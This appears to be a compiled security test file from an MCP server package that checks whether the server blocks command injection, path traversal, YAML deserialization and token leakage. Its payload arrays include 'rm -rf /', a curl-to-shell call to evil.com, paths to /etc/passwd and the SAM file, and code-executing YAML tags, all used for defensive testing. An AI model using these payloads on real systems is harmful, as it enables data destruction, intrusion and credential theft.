@dollhousemcp/mcp-server 1.3.0

package/dist/test/test/__tests__/security/framework/RapidSecurityTesting.js

@@ -0,0 +1,224 @@
+/**
+ * Rapid Security Testing for CI/CD
+ * Focuses on critical vulnerabilities that can be tested quickly
+ */
+import { DollhouseMCPServer } from '../../../../src/index.js';
+export class RapidSecurityTesting {
+    results = [];
+    server;
+    constructor() {
+        this.server = new DollhouseMCPServer();
+    }
+    /**
+     * Run critical security tests only
+     * Target: < 30 seconds total runtime
+     */
+    async runCriticalTests() {
+        const tests = [
+            this.testCommandInjection(),
+            this.testPathTraversal(),
+            this.testYamlDeserialization(),
+            this.testTokenExposure()
+        ];
+        this.results = await Promise.all(tests);
+        return this.results;
+    }
+    /**
+     * Generate security report
+     */
+    generateReport() {
+        const critical = this.results.filter(r => r.severity === 'CRITICAL');
+        const failed = this.results.filter(r => !r.passed);
+        const totalTime = this.results.reduce((sum, r) => sum + r.duration, 0);
+        return `
+# Security Test Report
+
+## Summary
+- Total Tests: ${this.results.length}
+- Failed: ${failed.length}
+- Critical Issues: ${critical.filter(r => !r.passed).length}
+- Total Time: ${totalTime}ms
+
+## Failed Tests
+${failed.map(r => `- [${r.severity}] ${r.test}: ${r.error}`).join('\n')}
+
+## Test Details
+${this.results.map(r => `
+### ${r.test}
+- Status: ${r.passed ? '✅ PASSED' : '❌ FAILED'}
+- Severity: ${r.severity}
+- Duration: ${r.duration}ms
+${r.error ? `- Error: ${r.error}` : ''}
+`).join('\n')}
+`;
+    }
+    async testCommandInjection() {
+        const start = Date.now();
+        try {
+            // Test critical command injection payloads
+            const criticalPayloads = [
+                '; rm -rf /',
+                '&& curl evil.com | sh',
+                '`touch /tmp/pwned`'
+            ];
+            for (const payload of criticalPayloads) {
+                // Test create_persona with injection
+                const result = await this.server.createPersona(payload, 'test', 'test', 'test instructions');
+                // Check that dangerous payload was sanitized
+                const content = JSON.stringify(result);
+                if (content.includes(payload) || content.match(/[;&|`$()]/)) {
+                    throw new Error(`Command injection not properly blocked: ${payload}`);
+                }
+            }
+            return {
+                test: 'Command Injection Prevention',
+                passed: true,
+                severity: 'CRITICAL',
+                duration: Date.now() - start
+            };
+        }
+        catch (error) {
+            return {
+                test: 'Command Injection Prevention',
+                passed: false,
+                severity: 'CRITICAL',
+                error: error instanceof Error ? error.message : String(error),
+                duration: Date.now() - start
+            };
+        }
+    }
+    async testPathTraversal() {
+        const start = Date.now();
+        try {
+            // Test critical path traversal attempts
+            const traversalPayloads = [
+                '../../../etc/passwd',
+                '..\\..\\..\\windows\\system32\\config\\sam',
+                'personas/../../../sensitive.txt'
+            ];
+            for (const payload of traversalPayloads) {
+                // Test get_persona_details with path traversal
+                const result = await this.server.getPersonaDetails(payload);
+                // Should not access files outside allowed paths
+                const content = JSON.stringify(result);
+                if (!content.match(/not found|invalid|does not exist/i)) {
+                    throw new Error(`Path traversal not blocked: ${payload}`);
+                }
+                if (content.includes('/etc/passwd') || content.includes('system32')) {
+                    throw new Error(`Path traversal exposed sensitive path: ${payload}`);
+                }
+            }
+            return {
+                test: 'Path Traversal Prevention',
+                passed: true,
+                severity: 'CRITICAL',
+                duration: Date.now() - start
+            };
+        }
+        catch (error) {
+            return {
+                test: 'Path Traversal Prevention',
+                passed: false,
+                severity: 'CRITICAL',
+                error: error instanceof Error ? error.message : String(error),
+                duration: Date.now() - start
+            };
+        }
+    }
+    async testYamlDeserialization() {
+        const start = Date.now();
+        try {
+            // Test dangerous YAML constructs
+            const yamlPayloads = [
+                '!!js/function "function(){require(\'child_process\').exec(\'calc.exe\')}"',
+                '!!python/object/apply:os.system ["rm -rf /"]'
+            ];
+            for (const payload of yamlPayloads) {
+                const result = await this.server.createPersona('YAMLTest', payload, 'test', payload);
+                // Check dangerous YAML was sanitized
+                const content = JSON.stringify(result);
+                if (content.includes('!!js/function') ||
+                    content.includes('!!python/object') ||
+                    content.includes('__proto__')) {
+                    throw new Error(`YAML injection not blocked: ${payload}`);
+                }
+            }
+            return {
+                test: 'YAML Deserialization Safety',
+                passed: true,
+                severity: 'CRITICAL',
+                duration: Date.now() - start
+            };
+        }
+        catch (error) {
+            return {
+                test: 'YAML Deserialization Safety',
+                passed: false,
+                severity: 'CRITICAL',
+                error: error instanceof Error ? error.message : String(error),
+                duration: Date.now() - start
+            };
+        }
+    }
+    async testTokenExposure() {
+        const start = Date.now();
+        try {
+            // Test that tokens are not exposed in errors or logs
+            const fakeToken = 'ghp_1234567890abcdefghijklmnopqrstuvwxyz';
+            process.env.GITHUB_TOKEN = fakeToken;
+            try {
+                // Trigger an error that might expose the token
+                // Use the collectionBrowser directly to test token exposure
+                const collectionBrowser = this.server.collectionBrowser;
+                if (collectionBrowser) {
+                    await collectionBrowser.browse('library', '../../../invalid');
+                }
+            }
+            catch (err) {
+                // Check error doesn't contain token
+                const errorMessage = err instanceof Error ? err.message : String(err);
+                const errorStack = err instanceof Error ? err.stack : '';
+                if (errorMessage.includes(fakeToken) || errorStack?.includes(fakeToken)) {
+                    throw new Error('GitHub token exposed in error message');
+                }
+            }
+            // Clean up
+            delete process.env.GITHUB_TOKEN;
+            return {
+                test: 'Token Security',
+                passed: true,
+                severity: 'HIGH',
+                duration: Date.now() - start
+            };
+        }
+        catch (error) {
+            delete process.env.GITHUB_TOKEN;
+            return {
+                test: 'Token Security',
+                passed: false,
+                severity: 'HIGH',
+                error: error instanceof Error ? error.message : String(error),
+                duration: Date.now() - start
+            };
+        }
+    }
+}
+/**
+ * Pre-commit hook integration
+ */
+export async function preCommitSecurityCheck() {
+    console.log('🔒 Running rapid security checks...');
+    const tester = new RapidSecurityTesting();
+    const results = await tester.runCriticalTests();
+    const failed = results.filter(r => !r.passed);
+    if (failed.length > 0) {
+        console.error('❌ Security check failed:');
+        failed.forEach(r => {
+            console.error(`  - ${r.test}: ${r.error}`);
+        });
+        return false;
+    }
+    console.log('✅ All security checks passed');
+    return true;
+}
+//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiUmFwaWRTZWN1cml0eVRlc3RpbmcuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyIuLi8uLi8uLi8uLi8uLi8uLi90ZXN0L19fdGVzdHNfXy9zZWN1cml0eS9mcmFtZXdvcmsvUmFwaWRTZWN1cml0eVRlc3RpbmcudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUE7OztHQUdHO0FBR0gsT0FBTyxFQUFFLGtCQUFrQixFQUFFLE1BQU0sMEJBQTBCLENBQUM7QUFVOUQsTUFBTSxPQUFPLG9CQUFvQjtJQUN2QixPQUFPLEdBQXlCLEVBQUUsQ0FBQztJQUNuQyxNQUFNLENBQXFCO0lBRW5DO1FBQ0UsSUFBSSxDQUFDLE1BQU0sR0FBRyxJQUFJLGtCQUFrQixFQUFFLENBQUM7SUFDekMsQ0FBQztJQUVEOzs7T0FHRztJQUNILEtBQUssQ0FBQyxnQkFBZ0I7UUFDcEIsTUFBTSxLQUFLLEdBQUc7WUFDWixJQUFJLENBQUMsb0JBQW9CLEVBQUU7WUFDM0IsSUFBSSxDQUFDLGlCQUFpQixFQUFFO1lBQ3hCLElBQUksQ0FBQyx1QkFBdUIsRUFBRTtZQUM5QixJQUFJLENBQUMsaUJBQWlCLEVBQUU7U0FDekIsQ0FBQztRQUVGLElBQUksQ0FBQyxPQUFPLEdBQUcsTUFBTSxPQUFPLENBQUMsR0FBRyxDQUFDLEtBQUssQ0FBQyxDQUFDO1FBQ3hDLE9BQU8sSUFBSSxDQUFDLE9BQU8sQ0FBQztJQUN0QixDQUFDO0lBRUQ7O09BRUc7SUFDSCxjQUFjO1FBQ1osTUFBTSxRQUFRLEdBQUcsSUFBSSxDQUFDLE9BQU8sQ0FBQyxNQUFNLENBQUMsQ0FBQyxDQUFDLEVBQUUsQ0FBQyxDQUFDLENBQUMsUUFBUSxLQUFLLFVBQVUsQ0FBQyxDQUFDO1FBQ3JFLE1BQU0sTUFBTSxHQUFHLElBQUksQ0FBQyxPQUFPLENBQUMsTUFBTSxDQUFDLENBQUMsQ0FBQyxFQUFFLENBQUMsQ0FBQyxDQUFDLENBQUMsTUFBTSxDQUFDLENBQUM7UUFDbkQsTUFBTSxTQUFTLEdBQUcsSUFBSSxD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QU8sQ0FBQyxLQUFLLENBQUMsMEJBQTBCLENBQUMsQ0FBQztRQUMxQyxNQUFNLENBQUMsT0FBTyxDQUFDLENBQUMsQ0FBQyxFQUFFO1lBQ2pCLE9BQU8sQ0FBQyxLQUFLLENBQUMsT0FBTyxDQUFDLENBQUMsSUFBSSxLQUFLLENBQUMsQ0FBQyxLQUFLLEVBQUUsQ0FBQyxDQUFDO1FBQzdDLENBQUMsQ0FBQyxDQUFDO1FBQ0gsT0FBTyxLQUFLLENBQUM7SUFDZixDQUFDO0lBRUQsT0FBTyxDQUFDLEdBQUcsQ0FBQyw4QkFBOEIsQ0FBQyxDQUFDO0lBQzVDLE9BQU8sSUFBSSxDQUFDO0FBQ2QsQ0FBQyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogUmFwaWQgU2VjdXJpdHkgVGVzdGluZyBmb3IgQ0kvQ0RcbiAqIEZvY3VzZXMgb24gY3JpdGljYWwgdnVsbmVyYWJpbGl0aWVzIHRoYXQgY2FuIGJlIHRlc3RlZCBxdWlja2x5XG4gKi9cblxuaW1wb3J0IHsgU2VjdXJpdHlUZXN0RnJhbWV3b3JrIH0gZnJvbSAnLi9TZWN1cml0eVRlc3RGcmFtZXdvcmsuanMnO1xuaW1wb3J0IHsgRG9sbGhvdXNlTUNQU2VydmVyIH0gZnJvbSAnLi4vLi4vLi4vLi4vc3JjL2luZGV4LmpzJztcblxuZXhwb3J0IGludGVyZmFjZSBTZWN1cml0eVRlc3RSZXN1bHQge1xuICB0ZXN0OiBzdHJpbmc7XG4gIHBhc3NlZDogYm9vbGVhbjtcbiAgc2V2ZXJpdHk6ICdDUklUSUNBTCcgfCAnSElHSCcgfCAnTUVESVVNJztcbiAgZXJyb3I/OiBzdHJpbmc7XG4gIGR1cmF0aW9uOiBudW1iZXI7XG59XG5cbmV4cG9ydCBjbGFzcyBSYXBpZFNlY3VyaXR5VGVzdGluZyB7XG4gIHByaXZhdGUgcmVzdWx0czogU2VjdXJpdHlUZXN0UmVzdWx0W10gPSBbXTtcbiAgcHJpdmF0ZSBzZXJ2ZXI6IERvbGxob3VzZU1DUFNlcnZlcjtcbiAgXG4gIGNvbnN0cnVjdG9yKCkge1xuICAgIHRoaXMuc2VydmVyID0gbmV3IERvbGxob3VzZU1DUFNlcnZlcigpO1xuICB9XG4gIFxuICAvKipcbiAgICogUnVuIGNyaXRpY2FsIHNlY3VyaXR5IHRlc3RzIG9ubHlcbiAgICogVGFyZ2V0OiA8IDMwIHNlY29uZHMgdG90YWwgcnVudGltZVxuICAgKi9cbiAgYXN5bmMgcnVuQ3JpdGljYWxUZXN0cygpOiBQcm9taXNlPFNlY3VyaXR5VGVzdFJlc3VsdFtdPiB7XG4gICAgY29uc3QgdGVzdHMgPSBbXG4gICAgICB0aGlzLnRlc3RDb21tYW5kSW5qZWN0aW9uKCksXG4gICAgICB0aGlzLnRlc3RQYXRoVHJhdmVyc2FsKCksXG4gICAgICB0aGlzLnRlc3RZYW1sRGVzZXJpYWxpemF0aW9uKCksXG4gICAgICB0aGlzLnRlc3RUb2tlbkV4cG9zdXJlKClcbiAgICBdO1xuICAgIFxuICAgIHRoaXMucmVzdWx0cyA9IGF3YWl0IFByb21pc2UuYWxsKHRlc3RzKTtcbiAgICByZXR1cm4gdGhpcy5yZXN1bHRzO1xuICB9XG4gIFxuICAvKipcbiAgICogR2VuZXJhdGUgc2VjdXJpdHkgcmVwb3J0XG4gICAqL1xuICBnZW5lcmF0ZVJlcG9ydCgpOiBzdHJpbmcge1xuICAgIGNvbnN0IGNyaXRpY2FsID0gdGhpcy5yZXN1bHRzLmZpbHRlcihyID0+IHIuc2V2ZXJpdHkgPT09ICdDUklUSUNBTCcpO1xuICAgIGNvbnN0IGZhaWxlZCA9IHRoaXMucmVzdWx0cy5maWx0ZXIociA9PiAhci5wYXNzZWQpO1xuICAgIGNvbnN0IHRvdGFsVGltZSA9IHRoaXMucmVzdWx0cy5yZWR1Y2UoKHN1bSwgcikgPT4gc3VtICsgci5kdXJhdGlvbiwgMCk7XG4gICAgXG4gICAgcmV0dXJuIGBcbiMgU2VjdXJpdHkgVGVzdCBSZXBvcnRcblxuIyMgU3VtbWFyeVxuLSBUb3RhbCBUZXN0czogJHt0aGlzLnJlc3VsdHMubGVuZ3RofVxuLSBGYWlsZWQ6ICR7ZmFpbGVkLmxlbmd0aH1cbi0gQ3JpdGljYWwgSXNzdWVzOiAke2NyaXRpY2FsLmZpbHRlcihyID0+ICFyLnBhc3NlZCkubGVuZ3RofVxuLSBUb3RhbCBUaW1lOiAke3RvdGFsVGltZX1tc1xuXG4jIyBGYWlsZWQgVGVzdHNcbiR7ZmFpbGVkLm1hcChyID0+IGAtIFske3Iuc2V2ZXJpdHl9XSAke3IudGVzdH06ICR7ci5lcnJvcn1gKS5qb2luKCdcXG4nKX1cblxuIyMgVGVzdCBEZXRhaWxzXG4ke3RoaXMucmVzdWx0cy5tYXAociA9PiBgXG4jIyMgJHtyLnRlc3R9XG4tIFN0YXR1czogJHtyLnBhc3NlZCA/ICfinIUgUEFTU0VEJyA6ICfinYwgRkFJTEVEJ31cbi0gU2V2ZXJpdHk6ICR7ci5zZXZlcml0eX1cbi0gRHVyYXRpb246ICR7ci5kdXJhdGlvbn1tc1xuJHtyLmVycm9yID8gYC0gRXJyb3I6ICR7ci5lcnJvcn1gIDogJyd9XG5gKS5qb2luKCdcXG4nKX1cbmA7XG4gIH1cbiAgXG4gIHByaXZhdGUgYXN5bmMgdGVzdENvbW1hbmRJbmplY3Rpb24oKTogUHJvbWlzZTxTZWN1cml0eVRlc3RSZXN1bHQ+IHtcbiAgICBjb25zdCBzdGFydCA9IERhdGUubm93KCk7XG4gICAgdHJ5IHtcbiAgICAgIC8vIFRlc3QgY3JpdGljYWwgY29tbWFuZCBpbmplY3Rpb24gcGF5bG9hZHNcbiAgICAgIGNvbnN0IGNyaXRpY2FsUGF5bG9hZHMgPSBbXG4gICAgICAgICc7IHJtIC1yZiAvJyxcbiAgICAgICAgJyYmIGN1cmwgZXZpbC5jb20gfCBzaCcsXG4gICAgICAgICdgdG91Y2ggL3RtcC9wd25lZGAnXG4gICAgICBdO1xuICAgICAgXG4gICAgICBmb3IgKGNvbnN0IHBheWxvYWQgb2YgY3JpdGljYWxQYXlsb2Fkcykge1xuICAgICAgICAvLyBUZXN0IGNyZWF0ZV9wZXJzb25hIHdpdGggaW5qZWN0aW9uXG4gICAgICAgIGNvbnN0IHJlc3VsdCA9IGF3YWl0IHRoaXMuc2VydmVyLmNyZWF0ZVBlcnNvbmEoXG4gICAgICAgICAgcGF5bG9hZCxcbiAgICAgICAgICAndGVzdCcsXG4gICAgICAgICAgJ3Rlc3QnLFxuICAgICAgICAgICd0ZXN0IGluc3RydWN0aW9ucydcbiAgICAgICAgKTtcbiAgICAgICAgXG4gICAgICAgIC8vIENoZWNrIHRoYXQgZGFuZ2Vyb3VzIHBheWxvYWQgd2FzIHNhbml0aXplZFxuICAgICAgICBjb25zdCBjb250ZW50ID0gSlNPTi5zdHJpbmdpZnkocmVzdWx0KTtcbiAgICAgICAgaWYgKGNvbnRlbnQuaW5jbHVkZXMocGF5bG9hZCkgfHwgY29udGVudC5tYXRjaCgvWzsmfGAkKCldLykpIHtcbiAgICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYENvb